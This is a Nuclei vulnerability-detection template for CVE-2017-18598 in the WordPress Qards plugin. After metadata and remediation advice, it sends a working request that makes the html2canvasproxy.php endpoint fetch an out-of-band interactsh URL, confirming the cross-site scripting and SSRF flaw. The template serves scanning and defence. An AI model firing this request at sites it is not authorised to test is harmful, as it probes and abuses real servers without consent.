id: CVE-2017-18598

info:
  name: WordPress Qards - Cross-Site Scripting
  author: pussycat0x
  severity: medium
  description: WordPress Qards through 2017-10-11 contains a cross-site scripting vulnerability via a remote document specified in the URL parameter to html2canvasproxy.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress Qards plugin, which includes a fix for this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8934
    - https://wpscan.com/vulnerability/454a0ce3-ecfe-47fc-a282-5caa51370645
    - https://wpvulndb.com/vulnerabilities/8934
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18598
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18598
    cwe-id: CWE-79
    epss-score: 0.00094
    epss-percentile: 0.38554
    cpe: cpe:2.3:a:designmodo:qards:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: designmodo
    product: qards
    framework: wordpress
  tags: cve2017,cve,wp-plugin,oast,wpscan,wordpress,ssrf,xss,designmodo

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/qards/'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/qards/html2canvasproxy.php?url=https://{{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "console.log"
# digest: 4b0a00483046022100a1ebb8975874781de2f146909353d3cb9d51b05b60508558c7d599376c062441022100c9a14b006fb26874b9b2f075e436d6c4ca526fe128d549c7c9a7fd5ed7c35cef:922c64590222798bb761d5b6d8e72950